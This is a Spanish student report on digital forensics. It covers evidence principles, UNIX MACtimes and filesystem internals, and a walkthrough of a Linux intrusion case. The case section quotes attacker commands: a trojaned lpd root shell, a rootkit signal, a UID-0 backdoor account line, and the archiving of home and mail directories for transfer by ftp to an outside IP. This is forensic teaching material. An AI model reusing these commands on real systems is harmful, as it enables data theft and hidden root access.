Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Informatica Forense - G3 PDF
Informatica Forense - G3 PDF
I NFORMÁTICA .
Trabajo Práctico
Informática Forense.
1. Introducción.................................................................................4
1.1. Informática Forense .......................................................................................5
1.2. Principios forenses..........................................................................................6
1.3. Evidencia Digital.............................................................................................6
1.4. Metodología de Trabajo para el análisis de los datos..................................7
1.4.1. La identificación de la evidencia digital ...................................................8
1.4.2. La extracción y preservación del material informático..........................9
1.4.3. El análisis de datos ...................................................................................10
1.4.4. La presentación del dictamen pericial....................................................11
2. Nociones teórico-prácticas sobre un sistema UNIX...............14
2.1. Registros temporales ....................................................................................14
2.1.1. MACtimes .................................................................................................14
2.1.2. Registros de redes y DNS.........................................................................17
2.1.3. File systems con journaling y MACtimes...............................................18
2.2. File System en UNIX ....................................................................................19
2.2.1. File System Virtual (VFS) .......................................................................19
2.2.2. Nombres de archivos y directorios. Tipos de archivos. ........................20
2.2.3. Aspectos internos del File System...........................................................21
2.2.4. Estructura de una partición UNIX.........................................................24
3. Análisis de un caso real.............................................................26
3.1. Recolección de Información Volátil ............................................................26
3.1.1. Fecha y hora del sistema..........................................................................27
3.1.2. Conexiones activas y puertos abiertos....................................................27
3.1.3. Procesos, y archivos y puertos a los que están accediendo. ..................28
3.1.4. Tablas de ruteo .........................................................................................29
3.1.5. Módulos del kernel cargados en memoria .............................................30
3.1.6. Filesystems montados ..............................................................................30
3.2. Recolección de Información No Volátil ......................................................30
3.2.1. Versión del Sistema Operativo y nivel de parches ................................30
3.2.2. MAC times y hash del filesystem ............................................................31
3.2.3. Usuarios conectados actualmente, e históricos ......................................32
Grupo 3 1º Cuatrimestre - 2007 Tp: Informática Forense
Haciendo una analogía con el mundo real pueden clasificarse los procesos que ocurren en un
ordenador en dos grupos. Por un lado identificamos procesos de tipo arqueológico, que son el
resultado de la acción directa de un ser humano sobre la computadora; por ejemplo, el contenido de
Grupo 3 1º Cuatrimestre - 2007 Tp: Informática Forense
archivos, registros de acceso, registros de tráfico de red. Por otro lado, al hacer referencia a los
procesos geológicos nos referimos a los procesos autónomos del sistema, aquellos sobre los que los
humanos no tiene control alguno, como la asignación y el reciclado de bloques de memoria, la
asignación de ID para archivos o procesos. Los procesos de tipo geológico destruyen las evidencias
arqueológicas que quedan en el sistema, es decir, los procesos autónomos sobrescriben los datos que
pueden haber quedado almacenados por el accionar de una persona.1
Las técnicas forenses son aquellas que surgen de una investigación metódica para reconstruir
una secuencia de eventos. Las técnicas de forense digital son el arte de recrear que ha pasado en un
dispositivo digital. Existen dos aspectos principales sobre los cuales trabajar:
• Desencriptación elemental
• Reconstruir acciones
• Rastrear el origen
La informática forense hace entonces su aparición como una disciplina auxiliar de la justicia
moderna, para enfrentar los desafíos y técnicas de los intrusos informáticos, así como garante de la
verdad alrededor de la evidencia digital que se pudiese aportar en un proceso legal.
1
Clasificasión propuesta en el libro Forensic Discovery por los autores.
La evidencia digital puede definirse como "cualquier información, que sujeta a una intervención
humana u otra semejante, ha sido extraída de un medio informático". En este sentido, la evidencia
digital, es un término utilizado de manera amplia para describir cualquier registro generado por o
almacenado en un sistema computacional que puede ser utilizado como evidencia en un proceso
legal.
La evidencia digital posee, entre otros, los siguientes elementos que la hacen un constante
desafío para aquellos que la identifican y analizan en la búsqueda de la verdad:
a. Volátil
b. Anónima
c. Posible duplicarla
d. Alterable y modificable
• Un Log en un fichero
• Un proceso en ejecución
• Archivos temporales
2
Fuente: El tratamiento de la Evidencia Digital.
Identificar la evidencia digital representa una tarea caracterizada por distintos aspectos. Entre
ellos podemos mencionar el factor humano, que realiza los secuestros de material informático. En
muchos casos, la identificación y recolección de potencial evidencia digital es realizada por personal
que no cuenta con los conocimientos adecuados para llevar acabo las tareas en cuestión (por ejemplo
un allanamiento policial, o un administrador no instruido).
3
Fuente: El tratamiento de la Evidencia Digital.
Por último, preservar implica los aspectos técnicos relativos a la no alteración (integridad) de la
evidencia original. La utilización de algún software que genere un valor hash a partir de un conjunto
de datos es de gran ayuda. Existen diferentes algoritmos para calcular un checksum criptográfico
seguro o valor resumen hash (SHA-1, MD5), estos algoritmos son muy utilizados por las
herramientas forenses. Para realizar copias de la evidencia original debe usarse algún software
forense que realice una imagen a nivel de bit-stream y no una simple copia de archivos, en la que se
pierde información que puede ser usada como potencial evidencia. Asimismo, debe quedar claro que
aunque por principio general se debe trabajar sobre imágenes de la evidencia original, sólo el perito
podrá determinar cuando debe o no aplicarse este tipo de medida.
En muchos casos resulta impracticable realizar copias de la evidencia original por impedimentos
técnicos u otras razones de tiempo y lugar. En estos casos se deberán extremar las precauciones
durante la investigación, siempre aplicando técnicas de análisis de datos no-invasivas y utilizando
todas las herramientas forenses que estén al alcance, a fin de no alterar la evidencia.
Analizar involucra aquellas tareas referidas a extraer evidencia digital de los dispositivos de
almacenamiento. Una de las claves a la hora de analizar es la localización de información específica
vinculada con una determinada causa. La experiencia demuestra que en muchos casos, el análisis de
datos requerirá un trabajo interdisciplinario entre el perito y el operador judicial -juez, fiscal- que
lleve la causa, a fin de determinar aquellas palabras clave (keywords) que son de interés para la
investigación.
En casi la totalidad de los casos el análisis de datos se realiza sobre sistemas operativos
Windows y Unix. En el primero de ellos, se debe profundizar en aspectos técnicos del sistema de
archivos NTFS, ya que es utilizado por las últimas versiones. NTFS almacena atributos de archivos y
directorios en un archivo del sistema llamado MFT (Master File Table) y escribe los datos en
espacios llamados clusters. Los atributos de mayor interés para el investigador forense son: el
nombre del archivo, MAC Times (fecha y hora de la última Modificación, Acceso o Cambio de un
archivo) y los datos (si el archivo es suficientemente pequeño) o la ubicación de los datos en el disco.
Asimismo, el archivo utilizado como memoria virtual del sistema operativo (Swap file), el espacio
libre que puede quedar entre un archivo y el cluster en el cual reside (Slack space), la papelera de
reciclaje (Recycle bin), clusters que contienen parte que los archivos borrados (Unallocatable space),
los accesos directos, los archivos temporarios y los de Internet, son algunos de los elementos sobre
los que se realiza habitualmente el análisis de datos. Por otro lado, un examen del registro de
Windows permite conocer el hardware y software instalado en un determinado equipo.
El análisis sobre sistemas Unix es similar al de Windows, ya que se investiga sobre los
elementos citados precedentemente. Unix utiliza el concepto de nodos índices (i-node) para
representar archivos. Cada i-node contiene punteros a los datos en el disco, así como también los
atributos del archivo. Los datos se escriben en unidades llamadas bloques (blocks) siendo un
concepto análogo a los clusters de Windows. En Unix todo es tratado como un archivo, y puede estar
almacenado en formato binario o texto.
Presentar consiste en elaborar el dictamen pericial con los resultados obtenidos en las etapas
anteriores.
A nivel nacional, los dictámenes periciales relacionados con la informática han tenido un
importante incremento a partir de 1995. Inicialmente, dichas tareas fueron canalizadas únicamente a
Por otra parte, cabe recordar que en nuestra legislación el valor probatorio de la evidencia digital
ha tenido hasta la fecha escasa o casi nula recepción legislativa y se cuenta con pocos antecedentes
jurisprudenciales. Es sabido que el documento electrónico para la ley vigente argentina, constituye
tan sólo “principio de prueba por escrito", lo que genera numerosos inconvenientes a la hora de
determinar la eficacia probatoria de los elementos informáticos y su interpretación a través de los
dictámenes periciales. Teniendo en cuenta que nuestra ley penal data de 1921, es claro que la misma
no pueda receptar con facilidad los adelantos tecnológicos, dando lugar a situaciones de duda.
Expuesta la situación actual en materia de pericias informáticas, interesa conocer cómo debe
realizarse un dictamen pericial sobre análisis de datos, de manera tal que sea objetivo, preciso y
contenga suficientes elementos para repetir el proceso en caso de ser necesario.
• Metodología del informe (Se expondrán los criterios que se han seguido para su
elaboración).
• Dictamen (Por ultimo, deberá completarse junto con el apartado de conclusiones, que
recogerá de modo resumido los aspectos más determinantes del trabajo).
• Anexos (Este apartado estará compuesto por los diferentes documentos obtenidos en
las investigaciones: fotografías, resultados de los análisis, documentación relevante
como prueba, normativa infringida, etc.).
4
Fuente: El tratamiento de la Evidencia Digital.
A continuación se presentan algunas características del sistema operativo Unix. Con ellas se
podrá llevar a cabo el análisis forense pues la información que se pueda recolectar servirá como
evidencia durante el proceso de investigación.
MACtimes
Registros propios
del file system
(journal)
2.1.1. MACtimes
Constituyen uno de los recursos más simples de entender y emplear en una investigación.
MACtimes es una forma abreviada de referirse a tres atributos de tiempo que poseen los archivos en
sistemas de archivos UNIX, Windows y otros:
• Ctime: se refiere a la última vez que se modificó el metacontenido del archivo (dueño,
grupo, permisos, etc.). Ctime también puede usarse como un estimativo de cuándo un
archivo fue borrado.
Una de las limitaciones fundamentales es que se refieren solamente a la última vez que se que se
interactuó con cierto archivo; es prácticamente imposible recuperar los MACtimes antiguos.
Existen distintas herramientas para conocer los MACtimes; algunas de ellas como el comando ls
vienen con el sistema operativo, y otras como el comando mactime del Coroner’s Toolkit son
específicamente diseñadas para esa tarea.
Debe tenerse especial cuidado de no modificar los MACtimes de los archivos de un sistema
comprometido mientras intenta salvaguardarse la información. Por ejemplo, acceder a un directorio
modifica su atime, copiar o leer un archivo también lo hace. Hacer un backup de la información antes
de relevar los MACtimes lleva a que todos los MACs se actualicen y se pierda información valiosa.
Entre las limitaciones principales que podemos mencionar de los MACtimes mencionaremos:
• No puede verse la historia previa de los archivos, sólo la última vez que se modificó
algún aspecto del mismo.
• A veces la acción del intruso es similar a la de los usuarios y no puede distinguirse con
MACtimes.
• Pueden falsearse: por ejemplo en UNIX el comando touch permite modificar los atimes
y mtimes de los archivos.
Ventajas
Limitaciones
Fácilmente Fácilmente
perdibles falseables
El comando mactime es el más cómodo cuando se trata de varios archivos y el comando stat el
más cómodo cuando se trata de uno solo.
Directorios
Acción Mtime Atime Ctime
Crear (mkdir foo) x x x
Mover (mv foo bar) x x
Crear archivos (touch /foo/foo) x x
Listar (ls foo) x
Cambiar de directorio (cd foo)
Cambio de permisos (chmod/chown <perm> foo) x
Copia (mv foo_mvd foo) x x
Edición de archivos (vim/emacs foo) x x
Archivos
Acción Mtime Atime Ctime
Crear (touch foo) x x x
Renombrar (mv foo bar)
Cambio de permisos (chmod <perm> foo) x
Copia (cp foo bar) x
Copia con sobrescritura (cp foo bar) x x
Agregar (cat >>foo) x x
Sobrescribir (cat>foo) x x
Listar (ls foo)
Editar (vim/emacs foo) x x x
Tabla 2.2. Ejemplos de cambio de MACtimes por operaciones sobre archivos y directorios.
En general el tráfico de una red es demasiado voluminoso como para almacenar toda la
información que circula. Lo más habitual es conservar logs de las conexiones y estadísticas que se
relevan en tiempo real. Esta información puede ser muy útil a lo de hora de preparar una línea de
tiempo.
Otra fuente posible de información temporal son los DNS Servers. En general dichos servers
tienen varios tipos de registros, de los cuales los más comunes son los PTR (pointer records,
encargados de traducir una dirección IP a un host name), A (address records, que traducen el nombre
de una computadora a una dirección IP) y los MX (mail exchange records, que indican a los agentes
de correo donde enviar los e-mail).
5
Extraído de http://www.securityfocus.com/infocus/1738.
A: traducen el
Registros principales
nombre de una PC a
de un DNS Server un dirección IP.
MX: permiten
direccionar el
e-mail
El daemon DNS standard de UNIX que se llama Bind, conserva un cache en memoria donde se
almacenan las búsquedas recientes. Si bien no guarda el momento exacto en que realizó cada
búsqueda, sí conserva el tiempo que resta para que se descarte dicha entrada del cache (TTL, time to
live). Conociendo el tiempo inicial de los archivos al ingresar al cache se podría conocer
aproximadamente en que momento se hizo la búsqueda (asumiendo que en el medio no haya
cambiado el TTL).
La característica fundamental de los file system con journaling es que algunos o todos los
cambios del disco rígido son almacenadas en un archivo (journal) antes de ser ejecutados. Una de sus
ventajas principales es que pueden recuperarse de un error en forma más rápida, pues pueden volver
a realizarse los pasos registrados en el journal en vez de tener que recorrer todo el disco rígido
buscando inconsistencias (como ocurre con otros file system). En general de dos tipos: aquellos que
sólo almacenan metadata, y otros que almacenan datos y metadata. Los MACtimes del journal, a
diferencia de los otros, permiten observar el acceso repetido a un archivo a lo largo del tiempo.
En el caso de Ext3fs el journal se almacena como un archivo común dentro del disco rígido, con
la salvedad de que no está referenciado por ningún directorio. El tamaño máximo del journal es de
32Mb de modo que debe rescatarse su contenido en forma rápida antes de que se pierda información.
Para conocer su ubicación en Linux puede usarse el comando tune2fs que indica el i-nodo que
contiene la información del archivo (ver próxima sección). El comando icat del Coroner’s Toolkit
puede emplearse para salvar sus contenidos y en Linux el comando debugfs puede emplearse para
examinarlo en detalle. En la sección dedicada a la estructura del File system se presentarán algunos
ejemplos al respecto.
Existen numerosos file system en UNIX, casi todos basados en el Fast File System (FFS)
diseñado en 1974 por Ritchie y Thompson.
Un mismo disco puede contener varios file system distintos y el árbol de directorios puede
construirse con múltiples particiones de un disco. Para hacer que un archivo en un disco esté
disponible debe ser montado en algún directorio del file system mediante, por ejemplo, los comandos
mount/umount. Una manera de ocultar información es la de montar dos file system en un mismo
punto, uno encima del otro; esto hace que el primero en montarse no pueda ser accedido mediante los
comandos habituales para tal fin (por ejemplo, cd). Esto se debe a que dichos comandos interrogan al
sistema operativo acerca de los directorios montados en cierto punto, y éste último devuelve la
información del último montado y no reconoce al primero. Para poder acceder al otro file system ese
necesario emplear herramientas que dupliquen parte de su funcionalidad y permitan acceder a la
información por via directa.
Otra forma de ocultar información consiste en no montar un file system en ningún punto. En
Linux puede conocerse qué File System se encuentran montados tipeando df en la línea de comando.
Además, ingresando:
f d i sk –l dispositivo
La interacción entre los procesos de los usuarios y el hardware se produce por medio de las
llamadas al sistema (system calls) que se realizan al núcleo (kernel) del sistema operativo. El sistema
operativo Linux posee una capa llamada File System Virtual dentro del kernel que se emplea en las
llamadas a sistema vinculadas con el acceso a archivos. La siguiente Figura ilustra el modo en que
varios File System pueden convivir dentro del sistema operativo Linux y la forma en que los
procesos de usuario leen y escriben unidades físicas.
Procesos de usuario
Llamada al sistema
Buffer
Drivers de dispositivo
Request de I/O
Controlador de disco
Hardware
Figura 2.4. Estructura de File System Virtual para el acceso a disco en Linux.
Los nombres de archivo están almacenados en directorios y pueden contener cualquier carácter a
excepción de ‘/’ o NULL. El Standard POSIX6 define un largo máximo mínimo de 255 bytes para
nombres de archivos, que es el límite para las implementaciones más usuales de Ext3fs y otros.
Los nombres de directorios se construyen con strings separados por ‘/’. Si bien en principio los
directorios y los pathnames de archivos pueden ser de un largo arbitrario, hay un límite para el
pathname que se indica cuando uno accede a un archivo. Por ejemplo para Linux puede ser de hasta
4096 bytes. En operaciones habituales, dicha restricción es rara vez una preocupación.
Sin embargo, en algunos casos provee oportunidades para ocultar información o evitar que ciertos
programas funcionen correctamente. El problema principal es que reduce la funcionalidad de muchos
programas que se estructuran sobre llamadas al sistema que poseen limitaciones de largo (por
ejemplo para acceder o buscar en cierto directorio).
Desde el punto de vista del usuario, el file system UNIX está constituido por un conjunto de
directorios y archivos de distinto tipo. En realidad, para UNIX los directorios son considerados como
un tipo más de archivo, con la salvedad de que deberían modificarse utilizando comandos como
6
POSIX es un acrónimo de Portable Operating System Inteface; la X proviene de UNIX. Es una familia de
standards de llamadas al sistema operativo (system calls) definidos por la IEEE y especificados en el IEEE 1003.
Permiten generalizar las interfaces de los sistemas operativos para que una misma aplicación pueda ejecutarse en
distintas plataformas.
chgrp. Lo mismo ocurre con los dispositivos físicos como memoria, impresoras, etc. que constituyen
los llamados Device Files. La siguiente figura resume los tipos de archivos más habituales que
pueden encontrarse:
Directorios
Archivos comunes
También son archivos pero deben modificarse a
El tipo más habitual. Contienen datos o software.
través de primitivas (no directamente)
IPC Endpoints
Links simbólicos
Dentro del file system, Tipos de archivos Alias para un archivo o
comunican dos procesos UNIX directorio.
de una misma máquina.
Device files
Permiten acceder al hardware.
Un directorio UNIX está organizado como una secuencia de entradas desordenadas que poseen
dos elementos: un nombre y un número. El nombre es lo que emplean los usuarios humanos para
acceder al archivo, y el número es un índice en una tabla de bloques de i-nodos, que contiene la
información referente al archivo y referencias a la posición física de la información en el disco.
Directorio /home/pepe
Archivo Inodo
foo 123 Inodo 123
bar 459 dueño/ID de grupo Bloques de datos
otros... permisos
datos
tipo de archivo
Referencia a datos datos
otros... datos
Dueño.
Tipo de archivo. ID de dueño y grupo Numero de Hard Links.
Directorios, archivos al que pertenece. Numero de archivos que
comunes, dispositivos, etc. referencian el Inodo.
Tamaño en bytes.
Direcciones de datos en Información típica Indica donde termina el
el disco.
de un Inodo archivo (no hay caracteres
(ver Figura siguiente).
de terminación).
Permisos. MACtimes.
Los bits rwx asociados al dueño, Ext3fs además tiene un Deletion
usuarios y otros, así como time que indica cuando fue
set-uid, set-gid y sticky bit. borrado un archivo.
En Linux puede usarse el comando stat para leer el contenido de un inodo asociado a un archivo.
El Coroner’s Toolkit incluye las herramientas ils e icat que permiten leer el contenido de nodos y
leer los bloques de datos a los que hace referencia un nodo, respectivamente. Algunos ejemplos de
empleo de estos comandos son los siguientes:
Los tres comandos leen directamente los Inodos por lo cual algunas técnicas para ocultar
información pueden no funcionar.
Por ejemplo, para salvar el journal de un File System podríamos hacer lo siguiente:
Comando Función
tune2fs -l /dev/hda1 | grep -i journal Conocer el inodo del journal
icat /dev/hda1 8 >journalfile Envía el contenido del journal a un archivo7
7
El contenido debe enviarse a otro file system para evitar que el journal se destruya a si mismo con su propio
contenido.
1 1
2
2
...
12 ...
13 Direccionamiento
12
14 simple
13
15
... ...
1036
Direccionamiento 1037
doble
... ...
... 2060
Direccionamiento ...
triple 2061
...
... ...
...
...
...
Una partición de UNIX típica está conformada por grupos de bloques del mismo tamaño. Cada
grupo está constituida por bloques cuyo tamaño varía de acuerdo al file system. Cada grupo contiene
cierta información redundante sobre la estructura del file system que le otorga mayor robustez y
seguridad. La siguiente Figura muestra la estructura típica:
El superbloque identifica el file system y contiene sus parámetros principales (bloques libres,
inodos libres, tamaños de bloques, etc.). Cada zona posee su propia copia del superbloque en forma
redundante. En algunos casos la redundancia puede ser útil para recuperar file system dañados.
Los atributos del grupo se encuentran en el Descriptor de grupo, y los Bitmaps de bloques
indican el estado de uso de cada uno de los bloques del grupo. El estado de cada uno de los inodos se
encuentra almacenado en el bitmap de inodos, que funciona del mismo modo que el bitmap de
bloques. La tabla de inodos referencia los nombres de archivos con los números de inodos y contiene
asimismo los inodos.
La estructura de grupos de bloques provee una gran robustez y confiabilidad pues las estructuras
de control del sistema están replicadas en cada grupo de bloques lo que permite recuperarse en forma
rápida si el superbloque se corrompe. Esta estructura también permite obtener una buena
performance pues al reducir la distancia entre la tabla de inodos y los bloques de datos es posible
reducir el movimiento del cabezal del disco en lecturas y escrituras.
Analizaremos uno de los casos reales presentados en el libro “Real Digital Forensics”, de Jones,
Bejtlich y Rose. Elegimos el caso “BRJ Software’s Intrusión” debido a que el sistema operativo de la
víctima es Linux, y como tal nos permite relacionar los ejemplos y métodos empleados en el libro
“Forensic Discovery”. Por otro lado, la disponibilidad de herramientas libres es mayor para
ambientes Unix, facilitando la práctica del análisis forense.
El ataque investigado se realizó contra un equipo Linux (IP: 102.60.21.3) utilizado por los
desarrolladores de la compañía para probar sus productos. La investigación se disparó al recibir el día
8 de septiembre de 2003 un reporte del usuario “richard”, indicando que alguien más estaba
conectado con ese usuario en el equipo. Al recibir el informe, se decide respaldar todo el tráfico de
red capturado en los últimos meses, recolectar la información volátil del equipo, recolectar la
información no volátil del equipo, y duplicar el disco.
Para registrar la salida de todos los comandos ejecutados, transferiremos la salida de los mismos
del equipo investigado hacia el equipo de trabajo, utilizando la utilidad netcat. Para ello antes de la
ejecución de cada comando, en el equipo de trabajo debemos ejecutar:
Este comando abre el puerto 10000 en el equipo de trabajo, y queda en modo Listen esperando
conexiones. A su vez, el modificador –v informa sobre el desarrollo de la conexión.
Luego, en el equipo investigado se debe ejecutar cada comando redirigiendo su salida al puerto
abierto en el equipo de trabajo:
De esta forma, la salida del comando será redirigida hacia el equipo de trabajo, almacenándose
en el archivo comando.txt. Una vez completado el comando debe interrumpirse el comando nc en el
equipo de trabajo. Hecho esto, es recomendable computar inmediatamente un hash MD5 o SHA-1
del archivo comando.txt, para eventualmente probar la inalterabilidad del mismo.
Utilizando el comando date es posible recolectar la fecha y hora del sistema, a fin de verificar la
misma, y tener un punto de referencia en el tiempo.
netstat –an
Al ejecutar este comando se obtiene un largo listado de conexiones activas y en estado Listen,
siendo las más importantes las siguientes:
Las tres direcciones remotas involucradas están fuera de la empresa, y no son conexiones
utilizadas habitualmente en el equipo investigado. La primer línea muestra una conexión desde esa IP
sospechosa hacia el puerto de ssh del equipo investigado. La segunda línea muestra una conexión al
puerto 3879 del equipo investigado. Finalmente, la tercer línea muestra una conexión al puerto 515
del equipo investigado. Al ser un puerto menor a 1024, es lo que se conoce como Well Known Port.
Los Well Known Port son puertos cuyo uso está estandarizado por la IANA (Internet Assigned
Numbers Authority), por lo que tienen asignadas una función específica. En el caso del puerto 515, el
mismo se corresponde con el servicio de impresión por red. Este puerto suele estar en modo Listen
con el proceso lpd escuchando, pero en este caso tuvo una conexión activa desde la IP sospechosa.
Esto lleva a pensar en alguna vulnerabilidad existente en dicho proceso y puerto.
Por otro lado, es sospechoso también que los puertos 2323 y 3879 se encuentran en estado
Listen, es decir, abiertos y esperando conexiones. Estos puertos no eran utilizados normalmente por
ningún proceso dentro de la empresa, por lo cual deben ser investigados.
Para poder contar con más indicios para separar la operatoria normal dentro de la empresa de la
propia del ataque investigado, es necesario listar los procesos y los archivos y conexiones
correspondientes a los mismos. Para ello se utiliza el comando lsof, que lista los archivos y
conexiones abiertas de todos los procesos. De forma similar a netstat, utilizamos el modificador –n
para evitar la resolución inversa de las direcciones IP obtenidas.
El comando mostrado es sh, es decir, un shell de usuario, que permite ingresar comandos al
sistema operativo. Notamos en la cuarta línea que la salida de errores del mismo está redirigida hacia
/dev/null, de forma tal de que los mismos no se escriban en la consola del equipo, sino que se
desechen.
La primera línea muestra que el directorio de trabajo de este proceso es un directorio oculto
(.kde) dentro del directorio /tmp. Este comportamiento no es usual, ya que en general el directorio
de trabajo de un shell es el correspondiente al directorio home del usuario. Mucho más llamativo es
el hecho de que el directorio de trabajo sea oculto. En la segunda, tercera y séptima línea notamos
establecida la conexión que ya antes habíamos detectado con el comando netstat. En la quinta línea
vemos que el puerto printer tuvo una conexión activa con la IP sospechosa. Esto ya lo habíamos
detectado con el comando netstat, pero ahora pudimos establecer la asociación con el comando sh.
Esto no debiera ser así, ya que en este puerto las conexiones debieran realizarse con el proceso lpd,
como se mencionara anteriormente. Es decir, un usuario se conectó al puerto 515 del equipo
investigado, y estableció un shell donde ejecutar comandos en el mismo.
Al observar esta línea vemos que el proceso 5278 se está ejecutando en el directorio
/tmp/.kde/brute/john-1.6/run. Esta información puede ser considerada como evidencia que el
usuario root está corriendo la versión 1.6 de un programa conocido como John The Ripper. Este
programa es un conocido cracker de claves por fuerza bruta. En este punto podemos estar bastante
seguros que un atacante desde la IP 94.90.84.93 esté usando este programa para obtener la clave de
algún usuario.
Finalmente, para listar todos los procesos activos en el equipo, usamos el comando ps –aux. Este
comando lista todos los procesos y los usuarios con los que se están ejecutando. Al correr este
comando no se observó ningún proceso particularmente sospechoso, sin siquiera poder observarse el
cracker de claves antes mencionado.
También podemos notar que no se observaron rastros del puerto TCP:1023 en la salida del
comando lsof. Estos dos indicios pueden llevar a pensar que el kernel del sistema operativo fue
modificado en tiempo de ejecución para ocultar convenientemente procesos y archivos
pertenecientes al atacante. Al duplicar posteriormente el disco del equipo investigado, se podrá
determinar esta suposición.
Utilizando el comando netstat –rn podemos obtener la tabla de ruteo activa del equipo
investigado. El atacante podría haber cambiado o editado la tabla de ruteo para dirigir el tráfico del
equipo investigado según su conveniencia.
Utilizando el comando lsmod podemos ver los módulos actualmente cargados en el kernel.
Los módulos observados corresponden todos al sistema, sin observarse ninguno relacionado con
el accionar del atacante. Sin embargo, el atacante puede haber cargado un módulo para ocultar los
procesos y archivos antes mencionados, a la vez que ocultaría el mismo módulo.
Se puede utilizar el comando mount o df para ver los filesystems actualmente montados en el
equipo.
La información no volátil puede luego recuperarse desde una copia forense del disco. Sin
embargo, se resuelve recolectar algo de esta información antes de apagar el equipo investigado. Esta
información incluye:
Para chequear la versión de sistema se utiliza el comando uname –a. De acuerdo a la salida del
mismo, la versión del kernel de este sistema es 2.2.16-22.
Por otro lado, el chequeo del nivel de parches de dependiente de la distribución de Linux o
versión de Unix utilizada. En este caso, por tratarse de la distribución Red Hat, debe utilizarse el
comando rpm –qa.
Se utilize el commando find para recopilar los MAC times y otras informaciones de todos los
archivos del sistema:
El modificador printf se utiliza para seleccionar que datos mostrar. En este caso se elige mostrar,
en orden: permisos, última fecha de acceso, última hora de acceso, fecha de modificación, hora de
modificación, fecha de cambio, hora de cambio, usuario, grupo, tamaño, y ruta completa.
A partir de esta información es posible determinar a partir de la fecha de cambio, que el atacante
instaló un módulo de Perl. Perl es un lenguaje de scripting y programación, por lo que es posible que
el módulo instalado fuera una dependencia de las utilidades que el atacante instaló en el equipo
investigado. También es posible determinar que los archivos /etc/passwd y /etc/shadow fueron
modificados en la misma fecha sospechosa.
Observamos dos veces el archivo /usr/sbin/lpd. Debemos notar que no está duplicado, sino que
la versión creada en la fecha sospechosa tiene por nombre “/usr/sbin/lpd “, es decir, cuenta con un
espacio al final.
Debemos notar que no hay rastros del directorio de trabajo antes determinado, /tmp/.kde. Esto es
otro indicio que un módulo fue cargado en el kernel en tiempo de ejecución, para ocultar el accionar
del atacante.
Por otro lado, se debe computar un hash de cada uno de los archivos del sistema, a fin de poder
probar su autenticidad posteriormente. Para ello, utilizamos el comando:
Esto procesa todos los archivos del sistema, produciendo como salida el hash MD5 de cada uno.
Debiera actualmente utilizarse un método de hash más actualizado.
Puede utilizarse alguna base de datos de hash conocidos de archivos del sistema, a fin de
descartar los que no han sido modificados.
Notamos que el usuario lpd se encuentra conectado, y desde una IP desconocida para la empresa.
Este usuario no es un usuario normal del sistema, asi que podemos sospechar que el atacante está
conectado desde esa IP.
Por otro lado, el historial de conexiones de usuarios al equipo, puede obtenerse con el comando
last. A partir del mismo, se obtuvo la siguiente información:
Luego del reinicio del equipo, vemos una conexión del usuario lpd desde la IP que consideramos
sospechosa, sin que aún se hubiera desconectado. Por otro lado, vemos conexiones del usuario
richard desde una IP propia de la empresa, dentro de la actividad normal del mismo. Sin embargo,
también vemos conexiones del usuario richard desde el mismo equipo investigado. Esto puede ser un
indicio de la utilización de algún programa para redireccionar puertos, instalado por el atacante, tal
vez para evitar un firewall en el equipo.
Tanto los usuarios conectados, como el historial de conexiones de los mismos se pueden obtener
de los archivos /var/run/utmp y /var/run/wtmp respectivamente.
Los sistemas operativos UNIX cuentan con un demonio que registra todos los eventos del
sistema y sus programas, y los escribe en archivos de logs. De acuerdo a la configuración de este
demonio, en general los logs a revisar son messages, secure, maillog, cron, spooler, boot.log.
Todos estos archivos se encuentran en /var/log.
En el caso del equipo investigado, se observa una serie de eventos en el archivo messages en la
fecha sospechosa. A la hora 14:35, se pueden observar eventos que tienen caracteres sin sentido, y
datos binarios escritos directamente al log. Esto puede deberse a un ataque de desbordamiento de
buffer (buffer overflow), por lo que es muy posible que el atacante haya utilizado esta técnica para
atacar al servicio de lpd.
En el archivo /etc/passwd pueden verse las distintas cuentas de usuario del sistema.
Más allá de los usuarios normales de la empresa, y los propios del sistema, se observa el
siguiente:
lpd:x:0:0::/:/bin/sh
Esta cuenta de usuario no pudo ser reconocida por la empresa. Este usuario tiene un ID de 0, y
pertenece al grupo 0, por lo que tiene los mismos privilegios que el root. A su vez tiene permitido el
login al sistema, mediante el shell /bin/sh.
Este usuario fue seguramente agregado por el atacante, para poder conectarse al equipo con
privilegios de root.
Los sistemas operativos UNIX en general registran todos los comandos, correctos o no,
ingresados por un usuario. Este listado se almacena en un archivo, en el directorio home del usuario.
En el caso de estar utilizando bash como shell, el archivo tiene el nombre .bash_history.
En el caso del equipo investigado, en el home del usuario lpd no se encontró registro alguno de
la historia de comandos ejecutadas por el atacante. Generalmente los atacantes suelen eliminar este
archivo, para evitar dejar rastros.
Sin embargo, en este caso se supone que el atacante utilizó el usuario richard para introducirse
en el equipo. Chequeando el arhivo .bash_history del usuario richard, encontramos los siguientes
comandos sospechosos:
Comando
netstat –na | less
ps –aexww | grep datapipe
ls –al
kill -31 5883
Ps –aexww | grep 5883
w
“/usr/sbin/lpd “
“/usr/sbin/lpd “ /bin/bash
ls –al
exit
tar –cvzf /tmp/.kde/files.tar.gz /home /var/mail
tar –cvzf /tmp/.kde/files.tar.gz /home /var/spool/mail
ftp 94.20.1.9
ping 94.20.1.9
ping 94.20.1.9
ftp 94.20.1.9
ls
“/usr/sbin/lpd “ /bin/bash
w
Las líneas resaltadas indicant comandos que el usuario Richard no pudo reconocer. El primero
comando busca un proceso de nombre datapipe. Según se comentó, en los usuarios conectados al
equipo, aparecía Richard conectado desde el propio equipo investigado. Datapipe es un programa
utilizado para redireccionar puertos del equipo a otros puertos, con el objeto de evitar firewalls u
otras medidas de seguridad.
Luego el atacante envía la señal “31” a un proceso. Esta señal no está definida en Linux, y es
generalmete usada en distintos rootkits para el kernel. Es muy posible que el atacante haya
modificado el kernel con un rootkit para ocultar sus pasos.
El atacante luego ejecuta uno de los archivos que se había notado antes. Es muy posible que el
comando “/usr/sbin/lpd “ /bin/bash sea utilizado para lanzar un shell con permisos de root.
Finalmente, el atacante comprime y archiva los directorios /home y /var/spool/mail, y luego los
envía a una dirección remota. Este aspecto es el más importante de la investigación, ya que se pudo
determinar la existencia de una importante fuga de información de la empresa.
3.3.1. DD
Esta es una herramienta libre, cuya funcionalidad básica es copiar bytes de un origen hacia un
destino. El programa dd está instalado por defecto en casi cualquier distribución de Linux y versión
de UNIX.
Puede especificarse además el tamaño de los bloques de datos a copiar, utilizando la opción bs.
3.3.2. DD Rescue
Es una variación del comando dd, orientada a discos con fallas físicas, dado que puede utilizar
tamaños de bloque variables, y recorrer el disco tanto hacia delante como hacia atrás.
3.3.3. DDFLDD
Se tiene la posibilidad de realizar hash de porciones de bloques del disco de origen, registrando
